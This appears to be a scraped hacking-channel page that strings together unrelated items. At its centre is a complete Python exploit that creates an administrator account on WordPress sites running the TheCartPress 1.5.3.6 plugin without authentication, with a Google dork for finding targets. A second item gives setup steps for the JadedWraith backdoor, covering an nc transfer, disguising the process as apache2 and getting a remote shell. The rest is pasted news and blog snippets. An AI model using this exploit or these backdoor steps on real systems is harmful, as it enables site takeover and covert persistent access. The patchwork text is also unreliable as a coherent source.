Exploit Collector
WordPress TheCartPress 1.5.3.6 Privilege Escalation

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
WordPress TheCartPress plugin version 1.5.3.6 suffers from a privilege escalation vulnerability.

MD5 | c63e9322c843e01994dd05fa67d59410

Download
# Exploit Title: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/thecartpress/
# Date: 04/10/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugin/thecartpress
# Version: <=
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("TheCartPress <=
print("Author -> space_hen (www.github.com/spacehen)")

def print_usage():
print("Usage: python3 exploit.py [target url]")
print("Ex: python3 exploit.py https://example.com")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("User name is required" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 2):
print_usage();
sys.exit(1);

base = sys.argv[1]

ajax_action = 'tcp_register_and_login_ajax'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

data = {
"tcp_new_user_name" : "admin_02",
"tcp_new_user_pass" : "admin1234",
"tcp_repeat_user_pass" : "admin1234",
"tcp_new_user_email" : "test@test.com",
"tcp_role" : "administrator"
}
print("Inserting admin...");
response = requests.post(uri, data=data )
if (response.text == "\"\""):
print("Success!")
print("Now login at /wp-admin/")
else:
print(response.text)

main();


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
CVE Data Is Often Misinterpreted: Here's What to Look For

Common vulnerabilities and exposures (CVEs) contain actionable details that can help address your security concerns. Here's how to get more from CVE data.

Dark Reading: Attacks/Breaches
Why Access Control Has Become an Important Front in the War Against Cybercrime

A Hiscox report has found that spending on cybersecurity from businesses has doubled since 2019. Tomáš Vystavěl, Chief Product Officer at 2N TELEKOMUNIKACE, investigates why access control has become such an important asset in the fight against cybercrime.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How easy is it to hack a security from ten years ago compared to now?

I want to know how easy it would be for someone with today knowledge about hacking to hack something from ten years ago(Nothing military or something alike). Is there a really big difference besides the obvious technological advancement?

submitted by /u/godack
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Pwncat — Fancy Reverse And Bind Shell Handler
https://salvadores.medium.com/pwncat-fancy-reverse-and-bind-shell-handler-781884efdf6f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown…Continue reading on Medium » (https://salvadores.medium.com/pwncat-fancy-reverse-and-bind-shell-handler-781884efdf6f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The BugéDex Workshop— My experience and what your takeaway should be from it
https://medium.com/@napmapper/the-bug%C3%A9dex-workshop-my-experience-and-what-your-takeaway-should-be-from-it-98a85c0eb78a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

For the uninitiated, BugéDex is a workshop on Bug Bounty and Reporting hosted by CSI-VIT with cybersecurity experts from CloudSEK leading…Continue reading on Medium » (https://medium.com/@napmapper/the-bug%C3%A9dex-workshop-my-experience-and-what-your-takeaway-should-be-from-it-98a85c0eb78a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
JadedWraith : Light-weight UNIX Backdoor

JadedWraith is a Lightweight UNIX backdoor for ethical hacking. Useful for red team engagements and CTFs. Something I wrote a few years ago as part of a game I was playing with a friend to try to backdoor as many VMs in each other’s labs without being caught or having our tools reverse engineered/signatured. Features

JadedWraith is a powerful backdoor capable of either listening on a TCP port or sniffing packets for a “magic” ICMP packet instructing the backdoor to either callback or listen. This is partly inspired by tools such as PRISM, however, unlike PRISM JadedWraith incorporates shoddy cryptography to obfuscate command and control. JadedWraith can be used to execute remote commands or upload follow on payloads.

JadedWraith can be compiled as a standalone executable or as a shared object for process injection. Components

The source code for the actual implant can be found inside the srcdirectory. clientcontains a simple python based client for interacting with JadedWraith. The conf_jawrscript is used to configure new JadedWraith executables. Dependencies

The implant requires a modern C library and libpthread. Depending on the target operating system, libpcap may be required (In which case, it you must run the ./configurescript with --use-libpcapto enable libpcap support).

The Python configuration script and client require the the following packages to work: termcolor, pycryptodomex How To Compile

Simply use the Makefileto compile. Note: The resulting binaries found in binmust be configured before they can be used.

$ ./configure
$ make
$ ls -lart bin
-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf

How To Configure

Use the conf_jawrscript to configure JadedWraith executables. It will search the bindirectory for JadedWraith executables to configure. The configured binary will be written to the configureddirectory.

$ ./conf_jawr
JadedWraith Configuration
Please choose a JadedWraith binary to use:
1. JadedWraith-2.0.0-Linux-x86_64.elf
Binary : 1
Shared Key [95454c93c8d5d30a0782da72ade10e29] :
Enable passive mode (ICMP wakeup) ? [y/n] y
Wakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] :
argv[0] (Leave blank to not spoof command) [] :
JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.bin
Try me!
sudo ./wraith-client.py -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell

How To Install

A configured implant can simply be ran on the target system. If configured to use the passive ICMP functionality, it must be ran as root. The environmental variable _CMD can be used to spoof the process’s argv[]#cd /tmp
#nc -lvp 4444 > apache2
#chmod +x apache2
#_CMD=”/usr/sbin/apache2″ ./apache2
#rm apache2

How To Interact

The wraith-client.pyscript inside clientcan be used to interact with JadedWraith. Simply invoke it with the arguments produced by the conf_jawrscript, substituting the target’s IP for . If utilizing the ICMP functionality, the script must be ran as root to send the ICMP packet.

~/JadedWraithFork/client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell
[+] sent ICMP wake up command to 192.168.100.224
[] backdoor will listen on port 58290 [] connecting to 192.168.100.224:58290
[+] connection established!
[] entering interactive shell .cd /tmp w 14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23 USER TTY LOGIN@ IDLE JCPU PCPU WHAT ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:20 ? 00:0[...]

___________________________
@hacking_Attack
@Hacking_Video

0:01 /usr/lib/systemd/systemd –switched-root –system –deserialize 31 .exit sudo ./wraith-client.py 127.0.0.1 –callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 127.0.0.1 [] backdoor will connect to port 37943
[] listening on port 37943 [+] accepted connection! [] entering interactive shell Download

___________________________
@hacking_Attack
@Hacking_Video

facebook accessstoken leak in android (unfixed )

i found accesstoken leak. any malicious app can get facebook accessstokenContinue reading on Medium »
Read more...

Pwncat — Fancy Reverse And Bind Shell Handler

pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown…Continue reading on Medium »
Read more...

The BugéDex Workshop— My experience and what your takeaway should be from it

For the uninitiated, BugéDex is a workshop on Bug Bounty and Reporting hosted by CSI-VIT with cybersecurity experts from CloudSEK leading…Continue reading on Medium »
Read more...

Account Takeover Vulnerability(admin + any user) via Password Reset

This is my First vulnerability disclosure, Luckily I found this vulnerability on the occasion of Ganesh Chaturthi.Continue reading on Medium »
Read more...

Hacking on Medium
$5k Service dependencies

The bug

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video